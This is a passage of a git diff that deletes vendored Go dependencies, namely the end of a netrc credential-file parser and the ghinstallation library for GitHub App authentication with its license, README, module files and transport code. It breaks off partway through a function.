machine, the ``default'' machine is returned. Otherwise, nil -// is returned. -func (n *Netrc) FindMachine(name string) (m *Machine) { - // TODO(bgentry): not safe for concurrency - var def *Machine - for _, m = range n.machines { - if m.Name == name { - return m - } - if m.IsDefault() { - def = m - } - } - if def == nil { - return nil - } - return def -} - -// MarshalText implements the encoding.TextMarshaler interface to encode a -// Netrc into text format. -func (n *Netrc) MarshalText() (text []byte, err error) { - // TODO(bgentry): not safe for concurrency - for i := range n.tokens { - switch n.tokens[i].kind { - case tkComment, tkDefault, tkWhitespace: // always append these types - text = append(text, n.tokens[i].rawkind...) - default: - if n.tokens[i].value != "" { // skip empty-value tokens - text = append(text, n.tokens[i].rawkind...) - } - } - if n.tokens[i].kind == tkMacdef { - text = append(text, ' ') - text = append(text, n.tokens[i].macroName...) - } - text = append(text, n.tokens[i].rawvalue...) - } - return -} - -func (n *Netrc) NewMachine(name, login, password, account string) *Machine { - n.updateLock.Lock() - defer n.updateLock.Unlock() - - prefix := "\n" - if len(n.tokens) == 0 { - prefix = "" - } - m := &Machine{ - Name: name, - Login: login, - Password: password, - Account: account, - - nametoken: &token{ - kind: tkMachine, - rawkind: []byte(prefix + "machine"), - value: name, - rawvalue: []byte(" " + name), - }, - logintoken: &token{ - kind: tkLogin, - rawkind: []byte("\n\tlogin"), - value: login, - rawvalue: []byte(" " + login), - }, - passtoken: &token{ - kind: tkPassword, - rawkind: []byte("\n\tpassword"), - value: password, - rawvalue: []byte(" " + password), - }, - accounttoken: &token{ - kind: tkAccount, - rawkind: []byte("\n\taccount"), - value: account, - rawvalue: []byte(" " + account), - }, - } - n.insertMachineTokensBeforeDefault(m) - for i := range n.machines { - if n.machines[i].IsDefault() { - n.machines = append(append(n.machines[:i], m), n.machines[i:]...) - return m - } - } - n.machines = append(n.machines, m) - return m -} - -func (n *Netrc) insertMachineTokensBeforeDefault(m *Machine) { - newtokens := []*token{m.nametoken} - if m.logintoken.value != "" { - newtokens = append(newtokens, m.logintoken) - } - if m.passtoken.value != "" { - newtokens = append(newtokens, m.passtoken) - } - if m.accounttoken.value != "" { - newtokens = append(newtokens, m.accounttoken) - } - for i := range n.tokens { - if n.tokens[i].kind == tkDefault { - // found the default, now insert tokens before it - n.tokens = append(n.tokens[:i], append(newtokens, n.tokens[i:]...)...) - return - } - } - // didn't find a default, just add the newtokens to the end - n.tokens = append(n.tokens, newtokens...) - return -} - -func (n *Netrc) RemoveMachine(name string) { - n.updateLock.Lock() - defer n.updateLock.Unlock() - - for i := range n.machines { - if n.machines[i] != nil && n.machines[i].Name == name { - m := n.machines[i] - for _, t := range []*token{ - m.nametoken, m.logintoken, m.passtoken, m.accounttoken, - } { - n.removeToken(t) - } - n.machines = append(n.machines[:i], n.machines[i+1:]...) - return - } - } -} - -func (n *Netrc) removeToken(t *token) { - if t != nil { - for i := range n.tokens { - if n.tokens[i] == t { - n.tokens = append(n.tokens[:i], n.tokens[i+1:]...) - return - } - } - } -} - -// Machine contains information about a remote machine. -type Machine struct { - Name string - Login string - Password string - Account string - - nametoken *token - logintoken *token - passtoken *token - accounttoken *token -} - -// IsDefault returns true if the machine is a "default" token, denoted by an -// empty name. -func (m *Machine) IsDefault() bool { - return m.Name == "" -} - -// UpdatePassword sets the password for the Machine m. -func (m *Machine) UpdatePassword(newpass string) { - m.Password = newpass - updateTokenValue(m.passtoken, newpass) -} - -// UpdateLogin sets the login for the Machine m. -func (m *Machine) UpdateLogin(newlogin string) { - m.Login = newlogin - updateTokenValue(m.logintoken, newlogin) -} - -// UpdateAccount sets the login for the Machine m. -func (m *Machine) UpdateAccount(newaccount string) { - m.Account = newaccount - updateTokenValue(m.accounttoken, newaccount) -} - -func updateTokenValue(t *token, value string) { - oldvalue := t.value - t.value = value - newraw := make([]byte, len(t.rawvalue)) - copy(newraw, t.rawvalue) - t.rawvalue = append( - bytes.TrimSuffix(newraw, []byte(oldvalue)), - []byte(value)..., - ) -} - -// Macros contains all the macro definitions in a netrc file. -type Macros map[string]string - -type token struct { - kind tkType - macroName string - value string - rawkind []byte - rawvalue []byte -} - -// Error represents a netrc file parse error. -type Error struct { - LineNum int // Line number - Msg string // Error message -} - -// Error returns a string representation of error e. -func (e *Error) Error() string { - return fmt.Sprintf("line %d: %s", e.LineNum, e.Msg) -} - -func (e *Error) BadDefaultOrder() bool { - return e.Msg == errBadDefaultOrder -} - -const errBadDefaultOrder = "default token must appear after all machine tokens" - -// scanLinesKeepPrefix is a split function for a Scanner that returns each line -// of text. The returned token may include newlines if they are before the -// first non-space character. The returned line may be empty. The end-of-line -// marker is one optional carriage return followed by one mandatory newline. In -// regular expression notation, it is `\r?\n`. The last non-empty line of -// input will be returned even if it has no newline. -func scanLinesKeepPrefix(data []byte, atEOF bool) (advance int, token []byte, err error) { - if atEOF && len(data) == 0 { - return 0, nil, nil - } - // Skip leading spaces. - start := 0 - for width := 0; start < len(data); start += width { - var r rune - r, width = utf8.DecodeRune(data[start:]) - if !unicode.IsSpace(r) { - break - } - } - if i := bytes.IndexByte(data[start:], '\n'); i >= 0 { - // We have a full newline-terminated line. - return start + i, data[0 : start+i], nil - } - // If we're at EOF, we have a final, non-terminated line. Return it. - if atEOF { - return len(data), data, nil - } - // Request more data. - return 0, nil, nil -} - -// scanWordsKeepPrefix is a split function for a Scanner that returns each -// space-separated word of text, with prefixing spaces included. It will never -// return an empty string. The definition of space is set by unicode.IsSpace. -// -// Adapted from bufio.ScanWords(). -func scanTokensKeepPrefix(data []byte, atEOF bool) (advance int, token []byte, err error) { - // Skip leading spaces. - start := 0 - for width := 0; start < len(data); start += width { - var r rune - r, width = utf8.DecodeRune(data[start:]) - if !unicode.IsSpace(r) { - break - } - } - if atEOF && len(data) == 0 || start == len(data) { - return len(data), data, nil - } - if len(data) > start && data[start] == '#' { - return scanLinesKeepPrefix(data, atEOF) - } - // Scan until space, marking end of word. - for width, i := 0, start; i < len(data); i += width { - var r rune - r, width = utf8.DecodeRune(data[i:]) - if unicode.IsSpace(r) { - return i, data[:i], nil - } - } - // If we're at EOF, we have a final, non-empty, non-terminated word. Return it. - if atEOF && len(data) > start { - return len(data), data, nil - } - // Request more data. - return 0, nil, nil -} - -func newToken(rawb []byte) (*token, error) { - _, tkind, err := bufio.ScanWords(rawb, true) - if err != nil { - return nil, err - } - var ok bool - t := token{rawkind: rawb} - t.kind, ok = keywords[string(tkind)] - if !ok { - trimmed := strings.TrimSpace(string(tkind)) - if trimmed == "" { - t.kind = tkWhitespace // whitespace-only, should happen only at EOF - return &t, nil - } - if strings.HasPrefix(trimmed, "#") { - t.kind = tkComment // this is a comment - return &t, nil - } - return &t, fmt.Errorf("keyword expected; got " + string(tkind)) - } - return &t, nil -} - -func scanValue(scanner *bufio.Scanner, pos int) ([]byte, string, int, error) { - if scanner.Scan() { - raw := scanner.Bytes() - pos += bytes.Count(raw, []byte{'\n'}) - return raw, strings.TrimSpace(string(raw)), pos, nil - } - if err := scanner.Err(); err != nil { - return nil, "", pos, &Error{pos, err.Error()} - } - return nil, "", pos, nil -} - -func parse(r io.Reader, pos int) (*Netrc, error) { - b, err := ioutil.ReadAll(r) - if err != nil { - return nil, err - } - - nrc := Netrc{machines: make([]*Machine, 0, 20), macros: make(Macros, 10)} - - defaultSeen := false - var currentMacro *token - var m *Machine - var t *token - scanner := bufio.NewScanner(bytes.NewReader(b)) - scanner.Split(scanTokensKeepPrefix) - - for scanner.Scan() { - rawb := scanner.Bytes() - if len(rawb) == 0 { - break - } - pos += bytes.Count(rawb, []byte{'\n'}) - t, err = newToken(rawb) - if err != nil { - if currentMacro == nil { - return nil, &Error{pos, err.Error()} - } - currentMacro.rawvalue = append(currentMacro.rawvalue, rawb...) - continue - } - - if currentMacro != nil && bytes.Contains(rawb, []byte{'\n', '\n'}) { - // if macro rawvalue + rawb would contain \n\n, then macro def is over - currentMacro.value = strings.TrimLeft(string(currentMacro.rawvalue), "\r\n") - nrc.macros[currentMacro.macroName] = currentMacro.value - currentMacro = nil - } - - switch t.kind { - case tkMacdef: - if _, t.macroName, pos, err = scanValue(scanner, pos); err != nil { - return nil, &Error{pos, err.Error()} - } - currentMacro = t - case tkDefault: - if defaultSeen { - return nil, &Error{pos, "multiple default token"} - } - if m != nil { - nrc.machines, m = append(nrc.machines, m), nil - } - m = new(Machine) - m.Name = "" - defaultSeen = true - case tkMachine: - if defaultSeen { - return nil, &Error{pos, errBadDefaultOrder} - } - if m != nil { - nrc.machines, m = append(nrc.machines, m), nil - } - m = new(Machine) - if t.rawvalue, m.Name, pos, err = scanValue(scanner, pos); err != nil { - return nil, &Error{pos, err.Error()} - } - t.value = m.Name - m.nametoken = t - case tkLogin: - if m == nil || m.Login != "" { - return nil, &Error{pos, "unexpected token login "} - } - if t.rawvalue, m.Login, pos, err = scanValue(scanner, pos); err != nil { - return nil, &Error{pos, err.Error()} - } - t.value = m.Login - m.logintoken = t - case tkPassword: - if m == nil || m.Password != "" { - return nil, &Error{pos, "unexpected token password"} - } - if t.rawvalue, m.Password, pos, err = scanValue(scanner, pos); err != nil { - return nil, &Error{pos, err.Error()} - } - t.value = m.Password - m.passtoken = t - case tkAccount: - if m == nil || m.Account != "" { - return nil, &Error{pos, "unexpected token account"} - } - if t.rawvalue, m.Account, pos, err = scanValue(scanner, pos); err != nil { - return nil, &Error{pos, err.Error()} - } - t.value = m.Account - m.accounttoken = t - } - - nrc.tokens = append(nrc.tokens, t) - } - - if err := scanner.Err(); err != nil { - return nil, err - } - - if m != nil { - nrc.machines, m = append(nrc.machines, m), nil - } - return &nrc, nil -} - -// ParseFile opens the file at filename and then passes its io.Reader to -// Parse(). -func ParseFile(filename string) (*Netrc, error) { - fd, err := os.Open(filename) - if err != nil { - return nil, err - } - defer fd.Close() - return Parse(fd) -} - -// Parse parses from the the Reader r as a netrc file and returns the set of -// machine information and macros defined in it. The ``default'' machine, -// which is intended to be used when no machine name matches, is identified -// by an empty machine name. There can be only one ``default'' machine. -// -// If there is a parsing error, an Error is returned. -func Parse(r io.Reader) (*Netrc, error) { - return parse(r, 1) -} - -// FindMachine parses the netrc file identified by filename and returns the -// Machine named by name. If a problem occurs parsing the file at filename, an -// error is returned. If a machine named by name exists, it is returned. If no -// Machine with name name is found and there is a ``default'' machine, the -// ``default'' machine is returned. Otherwise, nil is returned. -func FindMachine(filename, name string) (m *Machine, err error) { - n, err := ParseFile(filename) - if err != nil { - return nil, err - } - return n.FindMachine(name), nil -} diff --git a/vendor/github.com/bradleyfalzon/ghinstallation/AUTHORS b/vendor/github.com/bradleyfalzon/ghinstallation/AUTHORS deleted file mode 100644 index 88ca0ddd64..0000000000 --- a/vendor/github.com/bradleyfalzon/ghinstallation/AUTHORS +++ /dev/null @@ -1,6 +0,0 @@ -Billy Lynch -Bradley Falzon -Philippe Modard -Ricardo Chimal, Jr -Tatsuya Kamohara <17017563+kamontia@users.noreply.github.com> -rob boll diff --git a/vendor/github.com/bradleyfalzon/ghinstallation/LICENSE b/vendor/github.com/bradleyfalzon/ghinstallation/LICENSE deleted file mode 100644 index 1c508b07b6..0000000000 --- a/vendor/github.com/bradleyfalzon/ghinstallation/LICENSE +++ /dev/null @@ -1,191 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - Copyright 2019 ghinstallation AUTHORS - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/github.com/bradleyfalzon/ghinstallation/README.md b/vendor/github.com/bradleyfalzon/ghinstallation/README.md deleted file mode 100644 index d4e9077e55..0000000000 --- a/vendor/github.com/bradleyfalzon/ghinstallation/README.md +++ /dev/null @@ -1,92 +0,0 @@ -# ghinstallation - -[![GoDoc](https://godoc.org/github.com/bradleyfalzon/ghinstallation?status.svg)](https://godoc.org/github.com/bradleyfalzon/ghinstallation) - -`ghinstallation` provides `Transport`, which implements `http.RoundTripper` to -provide authentication as an installation for GitHub Apps. - -This library is designed to provide automatic authentication for -https://github.com/google/go-github or your own HTTP client. - -See -https://developer.github.com/apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps/ - -# Installation - -Get the package: - -```bash -go get -u github.com/bradleyfalzon/ghinstallation -``` - -# GitHub Example - -```go -import "github.com/bradleyfalzon/ghinstallation" - -func main() { - // Shared transport to reuse TCP connections. - tr := http.DefaultTransport - - // Wrap the shared transport for use with the app ID 1 authenticating with installation ID 99. - itr, err := ghinstallation.NewKeyFromFile(tr, 1, 99, "2016-10-19.private-key.pem") - if err != nil { - log.Fatal(err) - } - - // Use installation transport with github.com/google/go-github - client := github.NewClient(&http.Client{Transport: itr}) -} -``` - -# GitHub Enterprise Example - -For clients using GitHub Enterprise, set the base URL as follows: - -```go -import "github.com/bradleyfalzon/ghinstallation" - -const GitHubEnterpriseURL = "https://github.example.com/api/v3" - -func main() { - // Shared transport to reuse TCP connections. - tr := http.DefaultTransport - - // Wrap the shared transport for use with the app ID 1 authenticating with installation ID 99. - itr, err := ghinstallation.NewKeyFromFile(tr, 1, 99, "2016-10-19.private-key.pem") - if err != nil { - log.Fatal(err) - } - itr.BaseURL = GitHubEnterpriseURL - - // Use installation transport with github.com/google/go-github - client := github.NewEnterpriseClient(GitHubEnterpriseURL, GitHubEnterpriseURL, &http.Client{Transport: itr}) -} -``` - -## What is app ID and installation ID - -`app ID` is the GitHub App ID. \ -You can check as following : \ -Settings > Developer > settings > GitHub App > About item - -`installation ID` is a part of WebHook request. \ -You can get the number to check the request. \ -Settings > Developer > settings > GitHub Apps > Advanced > Payload in Request -tab - -``` -WebHook request -... - "installation": { - "id": `installation ID` - } -``` - -# License - -[Apache 2.0](LICENSE) - -# Dependencies - -- [github.com/dgrijalva/jwt-go](https://github.com/dgrijalva/jwt-go) diff --git a/vendor/github.com/bradleyfalzon/ghinstallation/appsTransport.go b/vendor/github.com/bradleyfalzon/ghinstallation/appsTransport.go deleted file mode 100644 index ebdf6ad2fe..0000000000 --- a/vendor/github.com/bradleyfalzon/ghinstallation/appsTransport.go +++ /dev/null @@ -1,84 +0,0 @@ -package ghinstallation - -import ( - "crypto/rsa" - "fmt" - "io/ioutil" - "net/http" - "strconv" - "time" - - jwt "github.com/dgrijalva/jwt-go" -) - -// AppsTransport provides a http.RoundTripper by wrapping an existing -// http.RoundTripper and provides GitHub Apps authentication as a -// GitHub App. -// -// Client can also be overwritten, and is useful to change to one which -// provides retry logic if you do experience retryable errors. -// -// See https://developer.github.com/apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps/ -type AppsTransport struct { - BaseURL string // BaseURL is the scheme and host for GitHub API, defaults to https://api.github.com - Client Client // Client to use to refresh tokens, defaults to http.Client with provided transport - tr http.RoundTripper // tr is the underlying roundtripper being wrapped - key *rsa.PrivateKey // key is the GitHub App's private key - appID int64 // appID is the GitHub App's ID -} - -// NewAppsTransportKeyFromFile returns a AppsTransport using a private key from file. -func NewAppsTransportKeyFromFile(tr http.RoundTripper, appID int64, privateKeyFile string) (*AppsTransport, error) { - privateKey, err := ioutil.ReadFile(privateKeyFile) - if err != nil { - return nil, fmt.Errorf("could not read private key: %s", err) - } - return NewAppsTransport(tr, appID, privateKey) -} - -// NewAppsTransport returns a AppsTransport using private key. The key is parsed -// and if any errors occur the error is non-nil. -// -// The provided tr http.RoundTripper should be shared between multiple -// installations to ensure reuse of underlying TCP connections. -// -// The returned Transport's RoundTrip method is safe to be used concurrently. -func NewAppsTransport(tr http.RoundTripper, appID int64, privateKey []byte) (*AppsTransport, error) { - key, err := jwt.ParseRSAPrivateKeyFromPEM(privateKey) - if err != nil { - return nil, fmt.Errorf("could not parse private key: %s", err) - } - return NewAppsTransportFromPrivateKey(tr, appID, key), nil -} - -// NewAppsTransportFromPrivateKey returns an AppsTransport using a crypto/rsa.(*PrivateKey). -func NewAppsTransportFromPrivateKey(tr http.RoundTripper, appID int64, key *rsa.PrivateKey) (*AppsTransport) { - return &AppsTransport{ - BaseURL: apiBaseURL, - Client: &http.Client{Transport: tr}, - tr: tr, - key: key, - appID: appID, - } -} - -// RoundTrip implements http.RoundTripper interface. -func (t *AppsTransport) RoundTrip(req *http.Request) (*http.Response, error) { - claims := &jwt.StandardClaims{ - IssuedAt: time.Now().Unix(), - ExpiresAt: time.Now().Add(time.Minute).Unix(), - Issuer: strconv.FormatInt(t.appID, 10), - } - bearer := jwt.NewWithClaims(jwt.SigningMethodRS256, claims) - - ss, err := bearer.SignedString(t.key) - if err != nil { - return nil, fmt.Errorf("could not sign jwt: %s", err) - } - - req.Header.Set("Authorization", "Bearer "+ss) - req.Header.Add("Accept", acceptHeader) - - resp, err := t.tr.RoundTrip(req) - return resp, err -} diff --git a/vendor/github.com/bradleyfalzon/ghinstallation/go.mod b/vendor/github.com/bradleyfalzon/ghinstallation/go.mod deleted file mode 100644 index 52ac02b333..0000000000 --- a/vendor/github.com/bradleyfalzon/ghinstallation/go.mod +++ /dev/null @@ -1,9 +0,0 @@ -module github.com/bradleyfalzon/ghinstallation - -go 1.13 - -require ( - github.com/dgrijalva/jwt-go v3.2.0+incompatible - github.com/google/go-cmp v0.3.1 - github.com/google/go-github/v29 v29.0.2 -) diff --git a/vendor/github.com/bradleyfalzon/ghinstallation/go.sum b/vendor/github.com/bradleyfalzon/ghinstallation/go.sum deleted file mode 100644 index db0431dfd1..0000000000 --- a/vendor/github.com/bradleyfalzon/ghinstallation/go.sum +++ /dev/null @@ -1,16 +0,0 @@ -github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumCAMpl/TFQ4/5kLM= -github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= -github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/google/go-cmp v0.3.1 h1:Xye71clBPdm5HgqGwUkwhbynsUJZhDbS20FvLhQ2izg= -github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/google/go-github/v29 v29.0.2 h1:opYN6Wc7DOz7Ku3Oh4l7prmkOMwEcQxpFtxdU8N8Pts= -github.com/google/go-github/v29 v29.0.2/go.mod h1:CHKiKKPHJ0REzfwc14QMklvtHwCveD0PxlMjLlzAM5E= -github.com/google/go-querystring v1.0.0 h1:Xkwi/a1rcvNg1PPYe5vI8GbeBY/jrVuDX5ASuANWTrk= -github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2 h1:VklqNMn3ovrHsnt90PveolxSbWFaJdECFbxSq0Mqo2M= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= diff --git a/vendor/github.com/bradleyfalzon/ghinstallation/transport.go b/vendor/github.com/bradleyfalzon/ghinstallation/transport.go deleted file mode 100644 index 5112ae8512..0000000000 --- a/vendor/github.com/bradleyfalzon/ghinstallation/transport.go +++ /dev/null @@ -1,191 +0,0 @@ -package ghinstallation - -import ( - "bytes" - "context" - "encoding/json" - "fmt" - "io" - "io/ioutil" - "net/http" - "sync" - "time" - - "github.com/google/go-github/v29/github" -) - -const ( - // acceptHeader is the GitHub Apps Preview Accept header. - acceptHeader = "application/vnd.github.machine-man-preview+json" - apiBaseURL = "https://api.github.com" -) - -// Transport provides a http.RoundTripper by wrapping an existing -// http.RoundTripper and provides GitHub Apps authentication as an -// installation. -// -// Client can also be overwritten, and is useful to change to one which -// provides retry logic if you do experience retryable errors. -// -// See https://developer.github.com/apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps/ -type Transport struct { - BaseURL string // BaseURL is the scheme and host for GitHub API, defaults to https://api.github.com - Client Client // Client to use to refresh tokens, defaults to http.Client with provided transport - tr http.RoundTripper // tr is the underlying roundtripper being wrapped - appID int64 // appID is the GitHub App's ID - installationID int64 // installationID is the GitHub App Installation ID - InstallationTokenOptions *github.InstallationTokenOptions // parameters restrict a token's access - appsTransport *AppsTransport - - mu *sync.Mutex // mu protects token - token *accessToken // token is the installation's access token -} - -// accessToken is an installation access token response from GitHub -type accessToken struct { - Token string `json:"token"` - ExpiresAt time.Time `json:"expires_at"` - Permissions github.InstallationPermissions `json:"permissions,omitempty"` - Repositories []github.Repository `json:"repositories,omitempty"` -} - -var _ http.RoundTripper = &Transport{} - -// NewKeyFromFile returns a Transport using a private key from file. -func NewKeyFromFile(tr http.RoundTripper, appID, installationID int64, privateKeyFile string) (*Transport, error) { - privateKey, err := ioutil.ReadFile(privateKeyFile) - if err != nil { - return nil, fmt.Errorf("could not read private key: %s", err) - } - return New(tr, appID, installationID, privateKey) -} - -// Client is a HTTP client which sends a http.Request and returns a http.Response -// or an error. -type Client interface { - Do(*http.Request) (*http.Response, error) -} - -// New returns an Transport using private key. The key is parsed -// and if any errors occur the error is non-nil. -// -// The provided tr http.RoundTripper should be shared between multiple -// installations to ensure reuse of underlying TCP connections. -// -// The returned Transport's RoundTrip method is safe to be used concurrently. -func New(tr http.RoundTripper, appID, installationID int64, privateKey []byte) (*Transport, error) { - atr, err := NewAppsTransport(tr, appID, privateKey) - if err != nil { - return nil, err - } - - return NewFromAppsTransport(atr, installationID), nil -} - -// NewFromAppsTransport returns a Transport using an existing *AppsTransport. -func NewFromAppsTransport(atr *AppsTransport, installationID int64) *Transport { - return &Transport{ - BaseURL: atr.BaseURL, - Client: &http.Client{Transport: atr.tr}, - tr: atr.tr, - appID: atr.appID, - installationID: installationID, - appsTransport: atr, - mu: &sync.Mutex{}, - } -} - -// RoundTrip implements http.RoundTripper interface. -func (t *Transport) RoundTrip(req *http.Request) (*http.Response, error) { - token, err := t.Token(req.Context()) - if err != nil { - return nil, err - } - - req.Header.Set("Authorization", "token "+token) - req.Header.Add("Accept", acceptHeader) // We add to "Accept" header to avoid overwriting existing req headers. - resp, err := t.tr.RoundTrip(req) - return resp, err -} - -// Token checks the active token expiration and renews if necessary. Token returns -// a valid access token. If renewal fails an error is returned. -func (t *Transport) Token(ctx context.Context) (string, error) { - t.mu.Lock() - defer t.mu.Unlock() - if t.token == nil || t.token.ExpiresAt.Add(-time.Minute).Before(time.Now()) { - // Token is not set or expired/nearly expired, so refresh - if err := t.refreshToken(ctx); err != nil { - return "", fmt.Errorf("could not refresh installation id %v's token: %s", t.installationID, err) - } - } - - return t.token.Token, nil -} - -// Permissions returns a transport token's GitHub installation permissions. -func (t *Transport) Permissions() (github.InstallationPermissions, error) { - if t.token == nil { - return github.InstallationPermissions{}, 